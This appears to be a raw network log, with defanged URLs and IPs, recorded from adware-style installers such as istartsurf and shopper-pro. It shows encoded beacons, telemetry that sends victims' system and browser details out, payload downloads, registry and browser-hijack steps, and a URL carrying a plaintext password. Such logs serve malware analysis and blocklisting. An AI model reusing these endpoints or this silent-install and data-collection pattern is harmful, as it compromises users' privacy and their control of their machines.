hxxp://rep.shopper-pro.com/app/ping.ashx?e=4mC0vXGWFtoLjT49fHfOTHhDx73wnB3Tt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7ME mqF/Q9vA/4o7K5XbeaB5kQ3UA/pU73iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvYE lx/pDm5qB5e0rFbtBDdpbaE 5ONVz7m/1iuKbHll3g0zui9ii1/xSNsMzh0F0pq73FZdDH/8=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64W40V8RHoWcfADsKdK4BIvGCdwiLZyE1Pd6j7/wRBDsRoqvWX6JwkevDehHIxlAXyb98NyY 3Jv/oKdNf4wHzMP/l0k1T1nn7b588fAguahpqadCmmmNJTNNeVrTC3wKjU8kydD/bvW zPy3bbEKvCWdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgkex5UpBoxTMMW2oEbpyuz9p5gsvoA3US	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=W5y9y1UrGBmidLNtGGzWYdSPsyWRmafrTEgCpOx0T0GQL2F0hg1RicLJlw9FGc64pCqhM9WF88xVYKnsyIwaPeLmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk=	173.239.4.105
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1431730966&SBPIDS=0	173.239.4.56
hxxp://rep.shopper-pro.com/app/ping.ashx?e=s5Ydxb c7o1WuN7nJmKQv4wWqg5Eat/CR9y6VNHLKGiRoZJTpqsyZ quxda/Dun3qP0V6n4 tzBHLE0ylDSF7 Lmf6eHphUt51vWMEpOYI9vFWuyZiLPwVfMcUAAn47OdXf8s99rZqrmh5G7kLgKqVXo80RT67Oh9qn20QlhWbaExpgoHHKdGGQrXcXswSfxPRnux5rnM77rqmoFjwdjkN62wjSae0jpX4VnmED7u0HiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmuQUMIkKKYuyobRbSlpC7xcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPksnh1YRA Jk=	173.239.4.105
hxxp://rep.shopper-pro.com/app/ping.ashx?e=eISsn0A7mAaebxLgvS5H7j0Z7sea5zO ZgUvH4i6X/oicvsFwQStECv5F5wArPI/YCpHZc9ZUaFAR3ajkVQ2x7uuM3c65sqXLtq7zMORfxfhVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSPKAexDR4w8Fr3kxE5BYD8vaV7UOVAXxqUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93MQYSNAnI1RFiozLT9XeQ0a4KAoSfmopCFRl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdQUd2T Cdn6lg==	173.239.4.105
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3eHvRF2LX Yt4KY4qKL6xah1lOMOIqPyebLCBXnZHg3MFPgOpImHIzeY4MKoaVft0VQACmRxohL6 f36LpRGWTOPQbi9J/L4Un7VGscQsWmG0rXCKv72ck3a4leJj3gd30GxQkL QSvRXZhP8niUnuouQlrWxrEbh307rxaZ1a5Q1BRFmm7xFCR/TQDPQj2/BXUvq LBuSsYHItXZWLu6qr7AYX4zQsugICqsOtV0jEpfD757nSlzRwFcijFc6Rq0TcyQFgmQvaWAtNVO4ZBpyhNoTsPRQylobE24FQ8d9v1NTrse/S6bH3ikPYVfMObp6skJGHV6Wx/RAFOdxzOm79zKEv37udDSeG7SWcjRf4QvtzO Ow1rbxmuSk9kZ0iSZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/32252.ashx?e=xZXl1pX5gRk5015vZaqaD/3jI8Lhhn0aQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaWN5QUBVog6 eUaSn PKsCGAqR2XPWVGh jCDsw4o/xYUAvnawhe3hVdVxGgZRPVfMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoZvexgeT02d5gFrrHZIkT07CPXfs0VGOutK1wir 9nJN2uJXiY94Hd9BsUJC/kEr0V2YT/J4lJ7qLkJa1saxG4d9O68WmdWuUShk/gGCmqZPZua0qaNRZzqVyeEjxCyoP0GbKHsMThLvzP8wrMbNKWJGXO0HAFwG1R7Qc7lJh uHebZZiKi64b1faQyCq7DrsmXNtOW7Zday9rCVSgOD pjAKNPoaDrBh6/v/Hm2KcpYHy1S9Ab35kZ/TvhUEvA3 3MoS/fu50NJ4btJZyNF/hC 3M747DWtvGa5KT2RnSJJnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/32252.ashx?e=XOxRKBm2zlxAvMuihpEQc1PJMnQ/271vyMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/j541coqS7no0CN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=VlXRKcYhvMat 9hOzZQLUKzyLtYulojf3Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xbfNvkjTiX5DEsdSRpTTrrYOU1y/YINREIPiV9jHLVcXbNLt4NKFiInEqOJtqwxNYQXEimUCR3BxI4VX5Tzx Vl8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr Hy1z9F59O5qMZzYI8lGxFUs1eiubbbmvPF/ScIJOAXGRNmcpTnFp5xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIq1D26TO oN1CM6W43gx8rzb6EZXT3NWMqJvaApQIhfAk6jGBXDjj1kNGbinUaxZC2JqlhzQsXFt0Kn7Ptw3qjfA==	173.239.4.105
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/14396.ashx?e=QHucCbLl /YLjT49fHfOTAGx/L8zMsL1/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lzi9D8ZnuFanqY5GcMHOnR dxUU31LK7oTpek9GMPHJkI4G r 3F6T7H7pKsXVuis88 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qokzxF27b2JzdAEQeGtxajvJfNvXfkgUrm/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5ZtT8IaYnlic=	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/32252.ashx?e=F94QJJu2atmidLNtGGzWYaNzv4moofQ 1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/YjEtyH551f0i8Ncgi JrdnybChyDNa6NRYWqdbL0ug8/YT/CC0O0kymF904v4t2Drf57lxgtZUO8SrVcKYQhP8obAwxzSCek2ATGx5ZDOfYQeWksviRUhcbDgzccadBEh8h5o3YrXrbLSflwInKoSmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgyIhIx/wjkko=	198.232.124.192
hxxp://rep.shopper-pro.com/app/ping.ashx?e=c0XmKevqA0k5015vZaqaD8tGn/qMchCb3RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKuUuWYfM6izmfEaBiShDKRIV XTIrvDDxtHZeSEXX8WA XTfiLzWqxDYMDrRWNb/a uWvc1ERSY/Lao/v/nubYm3PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GjGalzMA8P5PNTy9uZCvEFUPqKToDTfCBFhMIMAVmW8yKL71X2j3G6x600hVrSIbx3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2hdQV P4qRFiRoUV4ogQDN9h 2L8C3A11O2jkV5FhmNMgtEwrS49ujM11igWTslo5K5vuReaEszLljER2Ojjg1oa/fP0kfZ6z	173.239.4.105
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=100&n=init_start_funnel_step_name&rnd=1431730972
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1431730972
hxxp://ipgeoapi.com/	23.21.240.96
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974
hxxp://online.goobzo.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=74e69be7-98f2-4545-86a7-90384c52884d&Password=R73ubJdk&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,d37f2acf-36b1-44a7-82e5-18cd40d4d9e7,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1431730975&SBPIDS=0	173.239.4.56
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70121&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=started&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&mdat=&procstarttime=1431730972&procruntime=2&rnd=1431730974
hxxp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=539451&mode=nolsp	107.20.238.80
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1431730975
hxxp://s3-website-us-east-1.amazonaws.com/installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=3&rnd=1431730975
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1431730975
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1431730975
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1431730975
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730976
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1431730977
hxxp://test.youtubeaccelerator.com/youtube_accelerator/wizardtest/SMALLTEST.HTM?random=541775&mode=nolsp	107.20.238.80
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730977
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1431730977
hxxp://rep.shopper-pro.com/app/ping.ashx?e=AZwPyJy3TZi4/9HrRpQ3bD0Z7sea5zO CDpTR00nw3qz6uevfqaymmuKg2XFbqUQvoXpSr3iMCuKj C8ts/rB0hhMaluKp 8W3zb5I04l QxLHUkaU0662DlNcv2CDURCD4lfYxy1XF2zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flZfGsaHjTJJ OkhFwjO/Ynn73orNtwzTOp2kELh2lx9D 3u2eZStggbd Wx/3k3O9M9xHVjdaZ6/h8tc/RefTuajGc2CPJRsRVLNXorm225rzxf0nCCTgFxkTZnKU5xaecbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXtLdVKK0d9mo0berm3dqCKtQ9ukzvqDdQjOluN4MfK82 hGV09zVjKib2gKUCIXwJOoxgVw449ZDRm4p1GsWQtiapYc0LFxbdEicvFgHOgLA=	173.239.4.105
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1431730978
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1431730978
hxxp://65.255.35.143/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish	69.28.58.55
hxxp://dqoup4b5zs0bi.cloudfront.net/infv5/index/3428/3rd	54.192.231.157
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730980
hxxp://dlrkbt247pbk6.cloudfront.net/3428_92a5d683c188790231b1aa2af09de41e/2.pak	54.230.230.59
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730980
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730980
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730982
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000171&i=10000&n=deploy_end_funnel_step_name&rnd=1431730982
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1431730983
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1431730983
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1431730983
hxxp://istartsurf.com/logic/z.php
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ClearnC	69.28.58.55
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.wpm	69.28.58.55
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_36&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync	69.28.58.55
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70121&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=7D10842229D84798A10F86FEE6A717A0PI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ6dHNtdHljMCxkMzdmMmFjZi0zNmIxLTQ0YTctODJlNS0xOGNkNDBkNGQ5ZTcsIiwidW5xIjoiZDM3ZjJhY2YtMzZiMS00NGE3LTgyZTUtMThjZDQwZDRkOWU3In19&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=13&rnd=1431730985
hxxp://xa.xingcloud.com/v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.RegWrite	69.28.58.55
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1431730985
hxxp://cds.c5z6s5a3.hwcdn.net/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1431730972&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1431730972
hxxp://s3-website-us-east-1.amazonaws.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1431730986
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YMWsa713zW45VvzTtKTLEzOv7BalvFN7jEfyqeYLIru/skFM nYXmDEL4yGuSrT3L9BsDkaVI3Au1AQs4Ac1Q8Pm3d64T09c72RshMqGb6uDjXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiCz8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YON3V5qfYBQRYy9CQuy MOErhBhNhDB4mSs2zM3OKTsdhhqfTLLUt3A0w03bJUd6M6gKlGaFWGmKoY9it6lcEMS6PJlBZDZXtnAIAga8p090x7c540dk3nMqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1AIEnK4HW7/UMisK6sKov3CTuvapI 82Qmq9kuYPAug2j7d3VEAr8w9yty5SoJILjg==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=xY8ohDYpM j7QFMK1iR6liNS3h2XT6ZhEhGH33nPGlEQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybLd3NvEenLiC6pljsVW0GPgTxIUcsgQ wxQcgloBwSmMYL4dZo2LWgpfMKnTStLOo4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlDxHLLDNx gcHDBrdPw4NiZw/uZBnbag2P rtb55G4iDNw97dOE/f1g==	198.232.124.192
hxxp://wt94bf4ec-g48pastf.netdna-ssl.com/10957.ashx?e=j7YMo/n29XPkTjH401c/dCNS3h2XT6ZhyMlYLXuYTiQQyol6Hp9RdsFeXk7XK CmCknXtvSK170yKwrqwqi/cJO69qkj7zZCar2S5g8C6DaPt3dUQCvzD3uBxnZ00rQVjKjHf0fty0jJarzC68jV83NG jggZpybL035I4OsxKZQAPEg9HAY/7i9yaZDVXNnKYX3Ti/i3YOWcmQ2qx PSIgI4Iz7fz4ZjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LyLLA1jov 552zS7eDShYiJxKjibasMTWEFxIplAkdwcSOFV U88flQ==	198.232.124.192
hxxp://s3-website-us-east-1.amazonaws.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_42&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147475456&asw4=2048&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988
hxxp://s3-website-us-east-1.amazonaws.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-05-15&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=BA08CCC2F1F54650A2ACED5B27E7A152PI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNUZ3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1431730972&lifetime=0&silent=1&crtnm=na&procstarttime=1431730972&procruntime=16&rnd=1431730988
